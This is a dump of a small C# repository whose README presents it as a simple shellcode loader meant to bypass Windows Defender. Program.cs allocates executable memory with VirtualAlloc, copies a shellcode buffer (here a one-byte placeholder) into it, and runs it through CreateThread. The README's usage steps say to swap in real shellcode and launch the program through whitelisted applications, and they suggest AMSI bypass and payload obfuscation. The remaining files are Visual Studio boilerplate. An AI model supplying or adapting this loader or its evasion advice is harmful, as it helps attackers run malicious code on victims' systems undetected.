├── README.md
└── ShellcodeLoader_Csharp
├── .vs
└── ShellcodeLoader_Csharp
│ └── v16
│ └── .suo
├── ShellcodeLoader_Csharp.sln
└── ShellcodeLoader_Csharp
├── App.config
├── Program.cs
├── Properties
└── AssemblyInfo.cs
├── ShellcodeLoader_Csharp.csproj
└── obj
└── Debug
├── .NETFramework,Version=v4.7.2.AssemblyAttributes.cs
├── DesignTimeResolveAssemblyReferencesInput.cache
└── ShellcodeLoader_Csharp.csprojAssemblyReference.cache
/README.md:
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1 | # Simple_ShellCodeLoader_CSharp
2 |
3 | - A simple shellcode loader inspire by (@Subtee) https://twitter.com/subTee
4 | - I change the code a little bit, so now it should be able to bypass windows defender without the shellcode
5 | - If you want to fully bypass windows defender, you gonna need to bypass AMSI and do some works to your shellcode, like obfuscation or encryption(I am gonna update a project soon which is a fully bypass windows defender project, hopefully, it is not too late, cause windows defender may catch up).
6 |
7 |
8 |
9 | ## Usage
10 |
11 | 1. Just replace the shellcode.
12 | 2. Launch it through some white list applications
13 |
14 |
15 |
16 | ## Reference link
17 |
18 | 1. https://gist.github.com/xpn/730f24f7e42fd0471d04bcbd74940baa
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/ShellcodeLoader_Csharp/.vs/ShellcodeLoader_Csharp/v16/.suo:
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https://raw.githubusercontent.com/Kara-4search/Simple_ShellCodeLoader_CSharp/3acae3d51178d754700458f07d121acf9c0f60d8/ShellcodeLoader_Csharp/.vs/ShellcodeLoader_Csharp/v16/.suo
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/ShellcodeLoader_Csharp/ShellcodeLoader_Csharp.sln:
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1 |
2 | Microsoft Visual Studio Solution File, Format Version 12.00
3 | # Visual Studio Version 16
4 | VisualStudioVersion = 16.0.31129.286
5 | MinimumVisualStudioVersion = 10.0.40219.1
6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "ShellcodeLoader_Csharp", "ShellcodeLoader_Csharp\ShellcodeLoader_Csharp.csproj", "{2336B5C6-C9C8-446C-B530-7F8C7EC212E3}"
7 | EndProject
8 | Global
9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution
10 | Debug|Any CPU = Debug|Any CPU
11 | Release|Any CPU = Release|Any CPU
12 | EndGlobalSection
13 | GlobalSection(ProjectConfigurationPlatforms) = postSolution
14 | {2336B5C6-C9C8-446C-B530-7F8C7EC212E3}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
15 | {2336B5C6-C9C8-446C-B530-7F8C7EC212E3}.Debug|Any CPU.Build.0 = Debug|Any CPU
16 | {2336B5C6-C9C8-446C-B530-7F8C7EC212E3}.Release|Any CPU.ActiveCfg = Release|Any CPU
17 | {2336B5C6-C9C8-446C-B530-7F8C7EC212E3}.Release|Any CPU.Build.0 = Release|Any CPU
18 | EndGlobalSection
19 | GlobalSection(SolutionProperties) = preSolution
20 | HideSolutionNode = FALSE
21 | EndGlobalSection
22 | GlobalSection(ExtensibilityGlobals) = postSolution
23 | SolutionGuid = {9133B034-9710-4134-9870-73A0FCB53DF3}
24 | EndGlobalSection
25 | EndGlobal
26 |
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/ShellcodeLoader_Csharp/ShellcodeLoader_Csharp/App.config:
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1 |
2 |
3 |
4 |
5 |
6 |
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/ShellcodeLoader_Csharp/ShellcodeLoader_Csharp/Program.cs:
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1 | using System;
2 | using System.Runtime.InteropServices;
3 |
4 |
5 |
6 | namespace CalcLauncher
7 | {
8 | public class Program
9 | {
10 |
11 | public Program()
12 | {
13 | CodeLoad();
14 | }
15 |
16 | public static void Main(string[] args)
17 | {
18 | new Program();
19 | }
20 |
21 |
22 | public static void CodeLoad()
23 | {
24 |
25 |
26 | byte[] buf1 = new byte[1] { 0xfc };
27 |
28 | UInt32 funcAddr = VirtualAlloc(0, (UInt32)buf1.Length, 0x1000, 0x40);
29 | //
30 | Marshal.Copy(buf1, 0, (IntPtr)(funcAddr), buf1.Length);
31 |
32 | IntPtr hThread = IntPtr.Zero;
33 | UInt32 threadId = 0;
34 | // prepare data
35 |
36 |
37 | IntPtr pinfo = IntPtr.Zero;
38 |
39 | // execute native code
40 |
41 | hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId);
42 | System.Threading.Thread.Sleep(100000000);
43 | WaitForSingleObject(hThread, 0xFFFFFFFF);
44 | return;
45 | }
46 |
47 | [DllImport("kernel32")]
48 | private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr,
49 | UInt32 size, UInt32 flAllocationType, UInt32 flProtect);
50 |
51 |
52 | [DllImport("kernel32")]
53 | private static extern IntPtr CreateThread(
54 |
55 | UInt32 lpThreadAttributes,
56 | UInt32 dwStackSize,
57 | UInt32 lpStartAddress,
58 | IntPtr param,
59 | UInt32 dwCreationFlags,
60 | ref UInt32 lpThreadId
61 |
62 | );
63 |
64 | [DllImport("kernel32")]
65 | private static extern UInt32 WaitForSingleObject(
66 |
67 | IntPtr hHandle,
68 | UInt32 dwMilliseconds
69 | );
70 | }
71 | }
72 |
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/ShellcodeLoader_Csharp/ShellcodeLoader_Csharp/Properties/AssemblyInfo.cs:
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1 | using System.Reflection;
2 | using System.Runtime.CompilerServices;
3 | using System.Runtime.InteropServices;
4 |
5 | // 有关程序集的一般信息由以下
6 | // 控制。更改这些特性值可修改
7 | // 与程序集关联的信息。
8 | [assembly: AssemblyTitle("ShellcodeLoader_Csharp")]
9 | [assembly: AssemblyDescription("")]
10 | [assembly: AssemblyConfiguration("")]
11 | [assembly: AssemblyCompany("")]
12 | [assembly: AssemblyProduct("ShellcodeLoader_Csharp")]
13 | [assembly: AssemblyCopyright("Copyright © 2021")]
14 | [assembly: AssemblyTrademark("")]
15 | [assembly: AssemblyCulture("")]
16 |
17 | // 将 ComVisible 设置为 false 会使此程序集中的类型
18 | //对 COM 组件不可见。如果需要从 COM 访问此程序集中的类型
19 | //请将此类型的 ComVisible 特性设置为 true。
20 | [assembly: ComVisible(false)]
21 |
22 | // 如果此项目向 COM 公开,则下列 GUID 用于类型库的 ID
23 | [assembly: Guid("2336b5c6-c9c8-446c-b530-7f8c7ec212e3")]
24 |
25 | // 程序集的版本信息由下列四个值组成:
26 | //
27 | // 主版本
28 | // 次版本
29 | // 生成号
30 | // 修订号
31 | //
32 | //可以指定所有这些值,也可以使用“生成号”和“修订号”的默认值
33 | //通过使用 "*",如下所示:
34 | // [assembly: AssemblyVersion("1.0.*")]
35 | [assembly: AssemblyVersion("1.0.0.0")]
36 | [assembly: AssemblyFileVersion("1.0.0.0")]
37 |
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/ShellcodeLoader_Csharp/ShellcodeLoader_Csharp/ShellcodeLoader_Csharp.csproj:
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1 |
2 |
3 |
4 |
5 | Debug
6 | AnyCPU
7 | {2336B5C6-C9C8-446C-B530-7F8C7EC212E3}
8 | Exe
9 | ShellcodeLoader_Csharp
10 | ShellcodeLoader_Csharp
11 | v4.7.2
12 | 512
13 | true
14 | true
15 |
16 |
17 | AnyCPU
18 | true
19 | full
20 | false
21 | bin\Debug\
22 | DEBUG;TRACE
23 | prompt
24 | 4
25 |
26 |
27 | AnyCPU
28 | pdbonly
29 | true
30 | bin\Release\
31 | TRACE
32 | prompt
33 | 4
34 |
35 |
36 |
37 |
38 |
39 |
40 |
41 |
42 |
43 |
44 |
45 |
46 |
47 |
48 |
49 |
50 |
51 |
52 |
53 |
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/ShellcodeLoader_Csharp/ShellcodeLoader_Csharp/obj/Debug/.NETFramework,Version=v4.7.2.AssemblyAttributes.cs:
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1 | //
2 | using System;
3 | using System.Reflection;
4 | [assembly: global::System.Runtime.Versioning.TargetFrameworkAttribute(".NETFramework,Version=v4.7.2", FrameworkDisplayName = ".NET Framework 4.7.2")]
5 |
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/ShellcodeLoader_Csharp/ShellcodeLoader_Csharp/obj/Debug/DesignTimeResolveAssemblyReferencesInput.cache:
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